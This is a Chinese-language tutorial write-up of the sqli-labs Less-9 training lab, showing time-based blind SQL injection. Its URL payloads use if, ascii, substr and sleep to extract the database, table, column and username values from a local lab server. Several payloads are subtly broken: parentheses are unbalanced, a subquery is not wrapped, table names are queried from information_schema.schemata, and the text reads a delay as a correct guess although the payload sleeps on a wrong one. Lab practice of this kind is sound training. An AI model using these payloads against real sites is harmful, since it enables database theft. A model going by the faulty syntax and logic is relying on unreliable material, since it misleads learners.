1. 程式人生 > >sqli-labs ————less -9

sqli-labs ————less -9

Less-9

首先我們可以檢視一下原始碼:


一方面:從標題中我們可以看到這是一個基於時間盲注的單引號注入

另一方面:從之後的“print_r(mysql_error());”來看我們並不可以使用報錯注入

最後,我們可以看到可以通過' and 1=1 --+或者' or 1=1 --+來繞過


既然如此,那麼我就用延遲注入的方式來注入:

猜解資料庫:

payload:http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(database(),1,1))=115),1,sleep(5))--+


從圖中可以看到傳送了時間延遲,所以猜解正確,所以資料庫第一位是“s”

至於後續的猜解與這一個原理相同,這裡就不再多說了!最後我們可以猜解到資料庫的名稱為security。

猜解security的資料表名

http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.schemata where table_schema='security' limit 0,1))=101,1,sleep(5))--+


猜測第一個資料表的第一位是e,之後的類似,最後我們可以得到emails

猜測user表的列

http://192.168.11.136/sqli-labs/Less-9?id=1' and if(ascii(substr(select column_name from information_schema.columns where table_name='users' limit 0,1))=101,1,sleep(5))--+



猜測users表的第一個列的第一個字元是i,之後的類推即可!可以得到列名id,username,password

猜測username的欄位值

http://192.168.11.136/sqli-labs/Less-9/?id=1' and if(ascii(substr(select username from users  limit 0,1))=68,1,sleep(5))--+


之後的內容以此類推就好!